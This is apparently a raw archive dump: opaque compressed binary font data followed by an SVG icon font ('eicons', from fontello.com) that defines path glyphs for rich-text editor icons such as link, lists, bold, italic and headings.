<abbcpҢ/B5l8<.wX$;'čDqf@H.}]i1O0u\nhr(e1R^eJ1X,*ԈZP;ChZ]PP{v#MPL>@A8Z|Y3;azu+-\p%=2]E}B+Be6)*h艒lZ?2\:y'.ZTG>-y8O	kw,8sO6{ה|2t< /ck/9y_ҍ}t9ϒwq i3A$	{Yx7YD*b̮!4/΅=nH,k<Նk܉:%suǗpf([p;*\^"G_}uY.ċӍ :Bk<dv\VQo⼄|$ZKz.|ԩNL3߲\tB1O	VpOc#@6?g`Eur@ʌ2Ixc}yA76o٪ iWP?o4C w?'}_-@t9y`7m뉢\\,#H8/VfA	?:pwb)b"(m 8~lxjs;wYY[ۻfǚ7_5sAer{T2'sf9dz`<~p= Ky=C׈1G-'F.$UG%m*SA.9lr;ζGJ6YСK-ޣJ]*M{Lf0žp!MGraZ0Ò"6Oh$VBbQ~*	 7֧۪T$!wY@ۢƳ`@F}ά.x[ݝ.'
Y(BE7RmgNofWh͙^ag!=qf'~On3|)~NMu:]a3wr"ds~/YVYjϭ1=CEʢH8e#P"CIGx&MQ&hpql;)dd,~,2>n*6L4@>,*2dg:e3٭(*#-f|7\UKacvQu5[tX1OiJuI$R)k[(9	F#-Q*\euo6普lu?7XwFtݴ|s >&݈N{iܫX`wS#Iyr ,5'8\ayg9۰T˰Iby| }覛^{K31l}|C;u{Mw~/}%u󛇗/YnE2-=-uЉ~{xFM{/Ce߳
[?R3e۫qY21PYtC]&,!Ü7;U]riДR}Hgj*+7](Qh#9wYq&+l03)I&=&=c|sOzHDLi2OZZ*++.XϞ=gLe.L+0PD`q=I;?7bS:R:9W{pLӭ`?%]gv5,G^$(TI0lg/tE*nb)U0`g
 6hW-?
Qxg>$]܍;.5Ü 1iU!Yqc" x<&$]ܚ\K|ʩČag"+HCBȞUHgّ0'MDZL)N&L}pB}"3̘	P)>~ǟAobtswٰ[cAX^S{f^"1/~K<7s'2*ߍ$
IraCy)^âUw5Kkj^ҙK:zzPk8ex(S`vm-ڒmDLҁ#$jknb=1S?'9|Q=}C?W]u=[7z^pFϖ"[z+4C\Xqy\?5:~:v}/¾ڞ߰neM:']?FoTǐȨ!6`lb<͛L4:֛zԃ;lG^kÌ(Ƙ"7MH#ݸr]Rfɻ303&Y1I`}Vy7e;=Ӏ$s563(֦Ls6ӔidPA'cdLƇb&JhU34TZ/9Qlxz	^`,	~^ӢH GSSU DMG!x9!<-$qPĚoԜzm~\#f"Ay]i(yQ CZ4 D{x~`'QVpׁm3f.:m!s:hjYہ_Jm1`s/"TݤjqdNUT= B*ʣ	]'(uÌiST(Ri	'@XCXd,B;oݼ~d˖Zkg-B
c̈08=̘F=Y2|X
2`*IOƌw䓻_l_]ŭ-ݎnKel:#z\fy&|4hfPGdלZur%ldpxJ7RX<HveˇNOyݭl?tg3Ti^*}Պ@zL"=Gdz݌&yxZ@'g2Ӗ~$3\&	*(:M"s71Ui7z(#& Z}	 V
3G,s?+;Ճ9
0	.*SޤQU4£eip+;qp	T6k*|2yfh]DLNxaA6oM^Ywvg2ֿrPϘ=؉0CET@~~~>?|eRCu؅L}X@F#pyf 5zΠ_OѿCm:^jGO'N}݅ zII EmE[ZBϜfnԁGalW8$<3ܨ1!AL6,dөlL	/*x,(?4@.{H:|&ɤϤ:aKߥ3t,x ٖU0YkFLrV6>h
@ڃ8;/՚&@۽@SdB0d*; IRć^<'d:yjeB~^RQgd_fbӦߙY	CIgY)06@<FiAe8HDrټaB-,ò$۽!L*h+K6;⡨@,E"1x(fer$9Gt/y9'G}Rs _I~;Oxd0N@~2ú{;z܏<{N vܷpLJHFfVͼL<*Q`*$|J3F H8|v89ق]N_v#fLڌ6Y8L%1&?Is`~Dװ
cRL'̂7xIK<ˆ霖mXוŢ>8W/-^?˩d9کI5K ق(6>w}{Χ.5߬[XWpU]]wJl3[+S*>dS'Oxxj_TxXp+?PtpX.շja9eV+n".~Q',Pes?y-yr;Ֆ=s;[逪=Wrhss1	s)7dϩ4!x/|OI")	J.7)
qghˤzof-	Ssז5Zrk[2y'0ix'ΫiUDvP6ұh8.1%8c2M3k!1-O2T;SO8J*bnh+H/>X=&תKQw*TQ%xlRӁQ?!pT,مM!op+<=B~ϘQӈJ.7uT$䄙mYj˹5O|ޱKPl)Eχ#_ar}<L;c=yWNp惘C"ω$6ajǉd! ~ʂ;o, c7_uMKn]n:xŁvnd%k.ZЛlԼ<jZ.;eaekAbz:wbS?iVtM	SO۶&R(	|3gҁ{69!j&Úw:YE<[A2ԥġWEjT==T4&3_]9<UٯVu	~f_zVۘ-̭m0NƦiWSEӁ*>f6.0-xT2
vPs}c~Rކm&g;N5E5S`>aʧkP&u7-x&u؋]pC/ٍH>UT *5\n#_S-EsI?_mYXU}os+W;7}x8:;kk++#`(ח$}tC-ʚʚty:HDx,á2w`&IAFb'/RN92JGt3e)=Y[pE,.l&,jV69p~. gk:~w޽w$ń$IHPDKDЄg<|;V>PlZP*Sֶڙ2l9Q
L}nΞ7=#M;x@?~'[:)"h+">I¦=4ⷉ'z)Et0X]!Dzkl`5X"BPI(򢳽$GrOe`)K4NVMՒ@slBET*rGC| |MY<r'ئK!tI!><6Nzƃ%OOAWP[\m{6xz&Ǝ!InNMˋbfڟvS	pg)u¼D E<
zR;/ڒw0jLMMfꌗ
2ҖAǽxkCNvHd#~|I<^v n;j>EgB+UYeRUM[5϶1U?^h^^^:>^%^	'[ЮAp3ЮwkӰGvpk6nX5s473g-27"	OKM4:e8E&s7|=
iU/O_nUq< z^4C:L\$:A_ϏD((`insBtW?p()=%|:sƗԫjԁ^GiM)JԖ:h8~_z-`oۓW!1h~n>`bxo=  }@Zu9G;>6oٸeK{{zS3e'~M<NAϜY	k\8&Uvv(5:ӿgp=T
")Sks2*\v
BTw+mV`'iÀ=J]n9>{ES$(Vb'J6gD! @f-oVU)rF9Ql^ؗ$Liv֭7Z̩J$lܺm{[6niްdŲ_D( ;Il㈪DEbXY*.c %q(Q0iUWc:٘-nL|U&O&gh -9H@~cEF\ģS"ܹnJfp`Afm4-/g}鐿u;vMT{ջٸIurs[\:FIKSNW-Rͤ EM6cqX(K?	G𥚾.ȽA#aW;_۶2gAs y^ <JBጒEI&<l?K۞G3]v#@'77jo]E]0i\bQx5	d)Wi[`ȼ"EGy`34KrSs:lt
)wrq#*j,<GPMqĬ_6kD#tgjEwܖVR7iR;~)LS">o¹s.뷿*{/E*UI<WYZ&=иgS_۵p&sf׊8JgE8&i{$f/ؐ)5lm)7療A<ΚWBL{T9%<S>;t E*!rAS~JW<gWLVi cnliexN_|n:&zZί|w6.:wu[yiHqbQ.fSN
ANǮNN@W}1@2'#9ׁ/`dI*:/%3\,1uR 64JF>K% ݉R֢BמT""H.W
|;EąX srç~w$yv7_yy];W=kxśzW_~7^ۻog#|;w߱VXcyŋο&;gViS&^pΘu3_Z'RlhH nI",:,Tp]s	cx^%4/dF!P2,)z7rwrq/2M`$ra[N5	_ň܌r7@߇_X27	~?q?, Pw,/6LhfʑIo&S1m3EL;+QEP4`.@86.JmF>((^H{Zy"=kD-"pX(n):
c ,p/I܎D}+-{XEF`LsAߎPGʕrZ`2)hQ*S*S<z(TPY(MKA6yԃ`3π-!|InPݹnK>m)IB'_A
 0
b99@D=f`ÜKSVMP8Y!$8Kù1ut鳁b`Kp_!KO.]!
⭾3.?8^˸@'-xڄw:w~s"П;/>g?|78ko;p;,]`uN<\l$Vc]`2Ģn$'B /hL-`O9#l-cTxI	^&IW"p'8 -c	hq쉎<Qb)/TDd!%.`W;TF<"Y@IUv$#Z쿃-0<ug62hMG$8V!Ի*B\f-EOڦBi&ư4sd/=_֝yTaȼb
r1?8/͍$DN|^;/M|g䡒vT.]8?`8HC!3^3XOZ֑{Y#uE-&CZmr@WVN.+
^1?N%EF= >b{@Hej!HnL:MMM}0NQC6ϑN`ӽ}+8rPAs$	@XD B;Ylh4P7L|-5вѓvACg0 f B߼9ZKv_ٗ]~janHgCLP::5巳=-0BꝚavt<dPd&ؿ?>OF/ɯ2hvf#Sc:LV8s0xc`d`` ?|eg~a+2+J?msR xnxc`d``s61 E ]   xc~Lu~q\䪥K_\E5L67#A=1&<qPZ^9fYٔ@G}0 9   x5}Le 
FIBFӑAĢ~5X8Iq(IѤ$#"CB%ůE%%)*&$Z?1Ξys}y.yI>WJMR 9%Ҡ\iHR*ϗFP32³QqCg4Ȕ"ɍ*&|W3SҤ$b)Cz'JIO)*VK)V$M'wF4GИY:1^zYRV4VΑCb,ײhi9^rRi+åU?zΗX5
k<iF߂̰^UNm0}(iW{g:w C<7IG*&|ka'[3¾SHOhw;La;cF8Ѕf|%PW/h_o_ʼea2hY$G̷Q&!M_/ȓ(OT˂ji\,LH6,A+5Nv1"X6*UvGl4ZtƖ"3B6. Axb{gIL)Y@^"lIpO%35Kp,>):-t͆#Ek磱 .a*eOpTiWQg_gl-סoo66#㻱:YA[Kd`Ao;?x{ml'Z˻}5}w=g60_/
?G>G{cgf}{:<e-Ok+ZN?Ŝۨ_˯geuN?џx>1svK컹nh_ofpzcy~oeɹ$9(S'N_\9lMo܀r9܍n
'$ 7Hnp-rêB=<U.5r#K½Z9Oܘ<H"ɍy<zȍOL\lLx4Ѹf)Mrrar3f%ȥqN8栙	<X降xZ|3r鹂ܕrp<#WD!X:"_Fsz++e>yn{o*f˷骙6!0˧h䌪      K              xuJ0O/7VB6v1/֬蒑fCB>gm)ؐwNN|-C|Az8+hRU\Cwy=7ƃ&Ǔ=\sGxgQߥóhy@yޡNܤy칍S90͒ɳaO(ҥ/F;&\eX%<։Ef)lۦjJBrj\}=fb-n:{0kXdHA9!=+*A#BN''rsN4]DNsSg%i&T	`ljS7+d';Nt~z-!]ǎ6]ٲ$7ʿޠ||k   xmXܶ?[$n&effzms^˵l̏G,K2Zfa9*A5@-A=b+	6f[`Klm;ag]v{b58  Cp(8G(cp,8'$Sp*N8g,sp. "\Kp).W*Ã!:#$b\
)2,`b܈p3n܉p7<0x	Sx:gYx6yx>^Ex1^ex9^WUx5^ux=ހ7Mx3ނmx;ށw]x7ރ}x?>C0>c8>OS4>s</K2k:o[6{>~G1~g9~_W5~w=?O3o;_7CD*4CUQԤC],
ZIhڔ6iڒizmKH;δJI{C{>/h :::::N:N:΢:Σ..
"O4)1E$))!E)e@ZOS@еt]O7ЍtLЭtNwНtMнtOЃ=LУ=NOГԲT&ND\"5>IfJ;BD|W7RX/CX9H0f}|&n<jե_)))PL8'}Rr BQ:98TdNM*ny2͸HҮc7eI3R(IJo]gi*熡JƩ7r랛L7ߗkq̢ԗ%T|7?XaZO;vqrY t뉾슱]-0d2vF2	6Ȉ#1[!!3L,+uJ#cW(={`wy7ku|HXi$S˴kDCԃh ,hG	φan7܅`hhNG=gǥuQ6Yu0tWQ|`#hꖑT_rW(eӪABd\:c5m)>qx"̈L2'iXUvHU	7Ff)>㶡FQ5~;ܰ;aE2~W"jCqF\.U)FQm%a*f`%3TT(lqnHfQ9KfI04kE0˳$sD4|TEQu#1y٠>pLC)yGf:1#P~&DJ3'jSY_Xcx H>	Jz,#vI7gDAp/$>cNB1HgvHrDmc'IkȱT;jXy/LW`6Ɗ1:=FP		mLPUBܗLARoDTt74u:Hɪ%.,;f2wK@fE3^$fU#&swr#[cEڼ9Kwt4Z<,ꃾ#	N-;.4ǼsPT꯶!<ElE-3HY\dUB9spIpu0sP*b=^qynf*]5boyheE^;[8yY!
8_Ņ$rbݲ	CY?{VuќK-PtMCfrԒ.	t휆|vZF$4QWgLAqJipZ>w!NkwDuF
/]ɠ3yu]h{	ZQy!sP4NW/	bn1fRReJES(2Q.z*BrJ9U59-9zF],RS-*%wռaW;xd5쬖;lfh9 {'3^8pFsn9f:i(=m2ĤF`xRgR)CU`	f.֚kؗEXDD:M>a]s&(Ƴ\ΝcJ\aE仉vvN+r3ɸl"KǑ3F]Y_f|U3f֬p.\P3F:r'\6s[HuDdeZ.SVmtӭ)BêCXuT7 1KWmLE%{Cgrf4ݴbUo$G^ZѬ`wIۺM'Z6UUr91ζ}ӹ%Cro4T%K;A~llko9D(榎ۦ1cŝ1NqT0fZc"agKh9)1Vw*lh̚%ږ@mahY5j0;:"bےr3'@s
5gGWޅ]zWT_Ef!tQ/FU㣹E=a}'RTK~#e,XZ}9)pk_Pc01cIUWunHdzC0gk[LSDc>LnSDNtڱ/@Yg񾨽n.6KzP9McX-	KESA8|6j^ fr=?P&9CsVʶ=3mlAnZ9Rֳ3ZE:<ysy5cqZȄ}5VfM݇+Bt[NT@ZaZn0~Üi-vbw7{&R @C㝩I!wQތg6ح̴c.:=8Lwbp{"߬2urlI!Vg  xcp"(b##c_Ɲ؝620hAh.z'7k'3FƎ ~FD%Rz:HhG#CGrL62i`ߺw#f6 *  PK     /w\Lǚ ǚ   builder/assets/fonts/eicons.svgnu [        <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Copyright (C) 2021 by original authors @ fontello.com</metadata>
<defs>
<font id="eicons" horiz-adv-x="1000" >
<font-face font-family="eicons" font-weight="400" font-stretch="normal" units-per-em="1000" ascent="850" descent="-150" />
<missing-glyph horiz-adv-x="1000" />
<glyph glyph-name="editor-link" unicode="&#xe800;" d="M691 233c0 8-3 15-8 20l-64 64c-6 6-13 9-21 9-9 0-16-3-22-10 0-1 2-3 6-6 3-3 5-5 6-7 2-1 3-3 5-5 2-3 3-6 4-8s1-6 1-9c0-8-3-15-8-21-6-5-13-8-21-8-3 0-6 0-9 1s-5 2-7 4c-3 2-5 3-6 5-2 1-4 3-7 6-3 4-5 5-6 6-6-6-10-14-10-22 0-9 3-15 9-21l63-63c5-6 12-9 21-9 8 0 15 3 21 8l45 45c5 6 8 13 8 21z m-215 215c0 9-3 15-9 21l-63 64c-6 5-12 8-21 8-8 0-15-3-20-8l-45-45c-6-5-9-12-9-20 0-8 3-15 9-21l63-64c6-5 13-8 21-8 9 0 16 3 22 10 0 0-2 2-6 5-3 4-5 6-6 7-2 1-3 3-5 6-2 2-3 5-4 8-1 2-1 5-1 8 0 9 3 15 8 21s13 9 21 9c3 0 6-1 9-1 2-1 5-3 8-5 2-2 4-3 5-4 2-1 4-4 7-7 3-3 5-5 6-6 7 7 10 14 10 22z m274-215c0-25-9-46-26-63l-45-44c-17-17-37-26-62-26-24 0-45 9-62 26l-63 64c-17 17-26 37-26 62 0 25 9 46 27 64l-27 27c-17-18-38-27-63-27-25 0-46 9-63 26l-64 63c-17 18-26 38-26 63 0 25 9 45 26 62l45 45c17 17 38 25 62 25 25 0 46-9 63-26l63-63c17-17 25-38 25-62 0-25-9-47-27-64l27-27c18 17 39 27 64 27 25 0 45-9 62-26l64-64c17-17 26-38 26-62z" horiz-adv-x="1000" />

<glyph glyph-name="editor-unlink" unicode="&#xe801;" d="M383 222l-78-78c-2-1-4-3-7-3-3 0-5 1-7 3-2 2-3 4-3 7s1 5 3 7l77 78c2 2 5 3 7 3s5-1 8-3c1-2 2-4 2-7s0-5-2-7z m51-12v-97c0-3-1-5-3-8-2-1-4-2-7-2s-5 0-7 2-3 5-3 8v96c0 3 1 5 3 7 1 2 4 3 7 3s5-1 7-3c2-1 3-4 3-6z m-68 67c0-3-1-5-3-7-1-2-4-3-7-3h-96c-3 0-5 1-7 3-2 2-3 4-3 7s0 5 3 7c1 2 4 3 7 3h96c3 0 5-1 7-3 2-2 3-4 3-7z m382-39c0-24-8-44-25-61l-45-44c-17-17-37-25-61-25-25 0-45 9-62 26l-101 101c-4 4-8 10-12 17l72 5 82-83c6-5 13-8 21-8 8 0 15 2 20 8l45 44c6 6 8 12 8 20 0 8-3 15-8 21l-83 83 5 72c7-4 13-9 17-13l102-101c17-17 25-38 25-62z m-186 219l-72-5-83 83c-6 5-12 8-20 8-8 0-15-3-21-8l-45-44c-6-6-8-13-8-21 0-7 3-15 8-20l83-83-5-72c-7 4-13 8-17 12l-102 102c-17 17-25 38-25 61 0 25 8 45 25 62l45 44c17 17 37 25 61 25 25 0 45-9 62-26l101-101c4-4 9-10 13-17z m191-25c0-3-1-5-3-7-2-2-4-3-7-3h-97c-3 0-5 1-7 3-1 1-3 4-3 7 0 3 1 5 3 7 2 1 4 3 7 3h97c3 0 5-1 7-3 2-2 3-4 3-7z m-165 164v-96c0-3 0-5-3-7-1-2-4-3-7-3-3 0-5 0-7 3-1 1-3 4-3 7v96c0 3 1 5 3 7 2 2 4 3 7 3 3 0 5-1 7-3 3-2 3-4 3-7z m124-45l-78-78c-2-1-4-3-7-3-2 0-4 1-7 3-2 2-3 5-3 7s1 5 3 8l78 77c2 2 4 3 7 3s5-1 7-3c1-2 3-4 3-7s-2-5-3-7z" horiz-adv-x="1000" />

<glyph glyph-name="editor-external-link" unicode="&#xe802;" d="M742 481l61-61c3-3 8-5 13-5 5 0 10 2 13 5 4 4 6 9 6 14v189c0 5-2 10-6 13-4 4-8 6-13 6h-189c-5 0-10-2-13-6s-6-8-6-13 2-10 6-13l65-65-225-225c-17-18-17-46 0-63s46-18 63 0l225 224z m8-189v-123c0-30-11-56-32-78-22-22-48-33-79-33h-320c-30 0-56 11-78 33-22 22-33 48-33 78v320c0 31 11 57 33 79s48 32 78 32h226c4 0 7-1 9-3 2-3 3-6 3-9v-25c0-3-1-6-3-8-3-3-6-4-9-4h-226c-17 0-31-6-43-18s-18-26-18-43v-320c0-17 6-31 18-43s27-18 43-18h320c17 0 31 6 44 18s17 26 17 43v123c0 4 2 7 4 9 2 2 5 3 9 3h24c4 0 7-1 9-3 3-3 4-6 4-10z" horiz-adv-x="1000" />

<glyph glyph-name="editor-close" unicode="&#xe803;" d="M580 329l158 158c16 16 16 43 0 59-17 16-43 16-59 0l-158-158-158 158c-16 17-43 17-59 0-8-8-12-18-12-29s4-22 12-30l158-158-158-158c-16-16-16-42 0-58 9-9 19-13 30-13s21 5 29 13l158 157 158-157c9-9 19-13 30-13s21 5 29 13c9 8 12 18 12 29s-4 21-12 30l-158 157z" horiz-adv-x="1000" />

<glyph glyph-name="editor-list-ol" unicode="&#xe804;" d="M182 576l26-3v-15h-83v15l27 3v84h-27v15l57 8v-107z m7-249h-31l0 1 22 23c9 10 15 19 19 25 4 6 6 13 6 21 0 11-3 20-10 26s-17 10-30 10c-12 0-22-4-29-12-8-7-11-17-11-28l0 0h24c0 6 1 11 4 15 3 4 7 6 12 6 5 0 9-2 12-5 3-4 4-8 4-13 0-4-1-8-3-13-3-4-6-10-12-16l-39-43v-16h81v31h-18l-1-12z m-1-225c6 4 10 8 14 15s5 13 5 20c0 15-4 26-12 34-7 8-17 12-30 12-11 0-20-4-28-12s-11-19-11-31l0-1h24c0 6 2 10 5 14 3 4 7 5 11 5 5 0 9-2 12-5s4-10 4-16c0-7-1-13-4-17-3-4-7-6-13-6h-14v-24h14c6 0 11-2 14-6 4-4 5-11 5-19 0-7-2-13-5-17-4-4-8-6-14-6-5 0-9 2-12 6-3 4-5 9-5 15h-23l0 0c0-15 4-26 12-34 8-8 17-12 28-12 13 0 23 4 31 13s12 20 12 35c0 8-1 16-5 23-3 6-8 11-15 14z m620 290h-475c-23 0-41-19-41-42 0-23 18-42 41-42h475c23 0 42 19 42 42 0 23-19 42-42 42z m0-250h-475c-23 0-41-19-41-42s18-42 41-42h475c23 0 42 19 42 42s-19 42-42 42z m-475 416h475c23 0 42 19 42 42s-19 42-42 42h-475c-23 0-41-19-41-42s18-42 41-42z" horiz-adv-x="1000" />

<glyph glyph-name="editor-list-ul" unicode="&#xe805;" d="M892 350c0-23-19-42-42-42h-475c-23 0-42 19-42 42 0 23 19 42 42 42h475c23 0 42-19 42-42z m-42-208h-475c-23 0-42-19-42-42s19-42 42-42h475c23 0 42 19 42 42s-19 42-42 42z m-475 416h475c23 0 42 19 42 42s-19 42-42 42h-475c-23 0-42-19-42-42s19-42 42-42z m-187 105c-35 0-63-28-63-63 0-35 28-62 63-62 34 0 62 27 62 62 0 35-28 63-62 63z m0-500c-35 0-63-28-63-63 0-35 28-62 63-62 34 0 62 27 62 62 0 35-28 63-62 63z m0 252c-35 0-63-28-63-62 0-35 28-63 63-63 34 0 62 28 62 63 0 34-28 62-62 62z" horiz-adv-x="1000" />

<glyph glyph-name="editor-bold" unicode="&#xe806;" d="M469 140c16-7 31-11 45-11 81 0 121 39 121 117 0 27-5 48-13 63-6 11-13 19-20 26s-15 13-22 16c-7 4-16 7-26 9-10 2-19 3-27 4-8 0-18 1-30 1-16 0-27-2-33-4 0-12 0-31 0-55 0-25 0-43 0-56 0-1 0-9 0-23s-1-25 0-34c0-9 0-18 1-29s2-19 4-24z m-2 256c10-1 23-2 40-2 20 0 37 1 52 4 15 3 29 8 41 15 12 6 20 16 27 28 6 13 9 28 9 46 0 15-3 28-11 39-7 11-16 20-28 26-12 6-26 11-40 14s-29 4-45 4c-12 0-28-1-48-4 0-11 1-26 2-48 1-22 2-38 2-49 0-6 0-14 0-25 0-11 0-20 0-26-2-9-2-17-1-22z m-175-296l1 30c3 1 12 3 27 5s27 6 35 9c1 3 3 6 4 9s2 7 3 11 1 7 1 10 1 7 1 12 0 9 0 12v21c0 213-2 324-7 334-1 1-3 3-7 4s-9 3-15 4-11 2-16 2-10 1-16 2-8 0-10 0l-1 28c21 0 58 1 111 3s93 4 122 4c5 0 12 0 22 0s17 0 22 0c15 0 30-1 45-4s28-8 41-14c14-6 25-14 35-23s18-20 25-34 9-28 9-45c0-11-2-21-6-31s-8-17-12-23-12-13-21-19-17-11-24-14-16-8-27-13c33-8 61-22 83-44 22-22 33-48 33-81 0-22-3-41-11-58s-18-32-30-43-28-20-45-28-35-13-54-16-37-4-57-4c-10 0-24 0-43 1s-33 1-43 1c-23 0-56-2-100-4s-69-4-75-4z" horiz-adv-x="1000" />

<glyph glyph-name="editor-italic" unicode="&#xe807;" d="M333 101l6 27c1 1 10 3 26 7s29 9 37 13c6 7 10 18 13 32 0 2 7 33 20 95s25 120 37 177 17 88 17 96v9c-5 3-11 5-18 6s-14 2-22 2-15 1-19 2l6 33c7 0 20-1 39-2s35-2 49-2c14-1 27-1 39-1 11 0 22 0 32 1s25 1 40 2 26 2 32 2c-1-8-3-18-6-29-7-2-18-6-33-9s-27-8-35-11c-2-4-4-9-5-14s-2-9-3-13-2-8-2-15-2-11-3-14c-5-32-15-77-28-136s-22-98-25-116c-1-2-2-8-4-19s-5-20-7-29-4-18-5-27-2-15-2-19l0-6c4 0 24-4 61-10-1-9-3-20-5-32-3 0-6 0-11 0s-8-1-10-1c-6 0-16 2-29 4s-22 3-27 3c-30 1-53 1-68 1-11 0-26-1-46-3s-34-4-41-4z" horiz-adv-x="1000" />

<glyph glyph-name="editor-underline" unicode="&#xe808;" d="M266 570c-8 0-13 0-15 1l-1 28c3 1 7 1 13 1 13 0 25-1 37-2 28-1 46-2 54-2 19 0 37 1 54 1 25 1 41 1 48 2 12 0 22 0 28 1l-1-5 1-20v-3c-13-2-26-3-40-3-13 0-22-3-26-8-3-3-4-17-4-43 0-3 0-6 0-10 0-4 0-7 0-8l0-74 5-90c1-27 6-48 16-65 8-13 18-23 32-30 19-10 38-15 57-15 23 0 44 3 62 9 12 4 23 10 32 17 11 8 18 14 22 20 8 12 13 24 17 37 4 16 6 40 6 74 0 17 0 30-1 41s-2 24-4 39c-1 16-3 33-4 52l-1 19c-2 14-4 24-8 28-8 8-16 11-25 11l-33-1-4 1 0 27h28l67-3c16-1 37 1 63 3l6 0c1-9 2-14 2-17 0-1 0-5-1-10-10-2-19-4-28-4-15-2-24-4-25-5-4-4-5-8-5-14 0-1 0-4 0-8 0-4 0-8 0-10 2-4 5-47 8-128 1-41-1-74-5-98-4-16-8-29-14-39-8-14-20-27-36-39-17-13-36-22-60-29-23-7-51-11-83-11-36 0-67 5-92 15-26 10-45 24-58 40-14 16-22 37-27 62-4 18-5 43-5 77v106c0 41-2 64-6 69-4 8-20 12-46 13z m484-462c0-3-1-4-3-6s-4-2-7-2h-480c-2 0-5 1-7 2s-3 3-3 6v14c0 2 1 4 3 6s5 2 7 2h480c3 0 5-1 7-2s3-4 3-6v-14z" horiz-adv-x="1000" />

<glyph glyph-name="editor-paragraph" unicode="&#xe809;" d="M437 328c-92 0-165 53-165 145s73 147 165 147h250l0 0c23 0 41-19 41-42l0 0 0 0c0-23-18-41-41-41h-42v-415l0 0c0-23-19-42-42-42l0 0 0 0c-23 0-41 19-41 42v415h-42v-415l0 0c0-23-19-42-42-42l0 0 0 0c-23 0-41 19-41 42v206z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h1" unicode="&#xe80a;" d="M673 142c-10 0-24 0-44 1s-34 1-43 1c-10 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 1 12 5 15s8 5 13 6 10 1 16 2 12 3 15 5c7 4 11 19 11 45l-1 127c0 5 0 8 0 10-3 1-8 2-16 2h-219c-9 0-14-1-17-2-1-2-1-5-1-10l0-120c0-31 4-49 12-54 3-2 9-4 16-4s13-1 19-1 10-2 14-5 7-8 7-15c0-6-1-11-4-16s-7-6-12-6c-10 0-26 0-46 1s-35 1-45 1c-9 0-23 0-41-1s-32-1-42-1c-5 0-8 2-11 6s-4 10-4 15c0 7 1 11 5 15s7 5 11 5 10 2 16 3 10 3 13 5c7 5 11 20 11 47l0 18v264c0 1 0 4 0 9s0 9 0 12-1 7-1 12 0 10-1 14-1 8-2 12-2 8-4 11-3 4-5 5c-3 3-8 4-14 4s-12 1-17 1-10 2-14 5-6 8-6 14c0 6 2 11 4 16s7 7 12 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s32 1 41 1c6 0 10-3 12-7s5-10 5-16c0-7-2-11-6-14s-8-5-12-5-10-1-17-1-10-2-14-4c-7-5-11-22-11-52l0-105c0-4 0-8 1-10 3-1 7-1 12-1h228c5 0 9 1 12 1 1 2 1 6 1 10l0 105c0 30-4 47-11 52-4 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s33-1 43-1c9 0 23 0 42 1s32 1 42 1c5 0 10-2 12-7s4-10 4-16c0-6-2-11-6-14s-8-5-12-5-11 0-17 0-11-2-14-5c-8-5-12-22-12-52l1-307c0-26 4-41 11-46 3-2 8-3 15-4s13-1 18-2 9-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m40 244l-18 30 114 84h31v-276c0-5 0-9 0-14s0-8-1-12 0-8 0-11-1-6-1-8l37 2v-39h-143v33c5 0 10 1 15 2 4 1 8 2 11 5s5 7 7 13 3 14 3 24v200l-55-33z" horiz-adv-x="1000" />

<glyph glyph-name="editor-h2" unicode="&#xe80b;" d="M631 142c-10 0-24 0-43 1s-34 1-44 1c-9 0-24 0-43-1s-33-1-43-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 12 6 15s7 5 12 6 10 1 17 2 11 3 14 5c7 4 11 19 11 45l0 127c0 5 0 8-1 10-3 1-8 2-16 2h-219c-8 0-14-1-17-2 0-2 0-5 0-10l-1-120c0-31 5-49 12-54 4-2 9-4 16-4s14-1 19-1 10-2 15-5 6-8 6-15c0-6-1-11-4-16s-7-6-12-6c-10 0-25 0-45 1s-35 1-45 1c-10 0-24 0-42-1s-32-1-41-1c-5 0-9 2-12 6s-4 10-4 15c0 7 2 11 5 15s7 5 12 5 9 2 15 3 10 3 14 5c7 5 11 20 11 47l-1 18v264c0 1 0 4 0 9s0 9 0 12 0 7 0 12-1 10-2 14-1 8-2 12-2 8-3 11-4 4-5 5c-4 3-9 4-15 4s-12 1-17 1-10 2-13 5-6 8-6 14c0 6 1 11 4 16s6 7 11 7c10 0 25 0 45-1s35-1 45-1c9 0 23 0 41 1s33 1 42 1c5 0 9-3 12-7s4-10 4-16c0-7-2-11-5-14s-8-5-13-5-10-1-16-1-11-2-14-4c-8-5-12-22-12-52l1-105c0-4 0-8 0-10 3-1 7-1 13-1h227c6 0 10 1 13 1 0 2 0 6 0 10l1 105c0 30-4 47-12 52-3 2-10 3-19 4s-16 1-22 4-8 8-8 16c0 6 1 11 4 16s7 7 12 7c10 0 24 0 43-1s34-1 43-1c9 0 24 0 42 1s33 1 42 1c6 0 10-2 12-7s5-10 5-16c0-6-2-11-6-14s-9-5-13-5-11 0-17 0-11-2-14-5c-7-5-11-22-11-52l0-307c0-26 4-41 11-46 4-2 9-3 15-4s13-1 18-2 10-2 13-5 6-8 6-14c0-6-1-11-4-16s-7-7-12-7z m152 322c-9 0-17-2-24-6s-13-9-16-15c3-3 6-8 7-13s2-9 2-12c0-3 0-7-2-11s-3-7-5-10c-3-4-7-6-11-8s-9-4-16-4c-5 0-9 2-13 4s-7 4-10 8c-3 3-5 7-7 11s-2 10-2 14c0 5 2 11 4 16s5 12 9 18 9 11 16 17c6 5 13 10 21 14s17 7 27 10 21 3 32 3c14 0 27-1 40-5s26-8 37-16 19-17 26-29 10-27 10-44c0-8-2-17-5-26s-9-20-17-31-19-24-33-38-33-30-56-48c-9-8-17-15-24-22s-12-13-16-20-8-11-11-16-4-9-4-12l98-3h3c5 0 10 1 14 2s8 2 11 5 5 6 7 10 2 9 2 16h32l-4-81h-219c0 17 2 32 7 46s10 26 17 37 16 21 25 31 19 18 29 27c12 12 22 22 31 32s15 20 20 30c6 9 10 18 12 27s4 18 4 27c0 8-1 16-2 24s-4 15-8 21-8 11-14 15c-7 3-14 5-24 5z" horiz-adv-x="1000" />

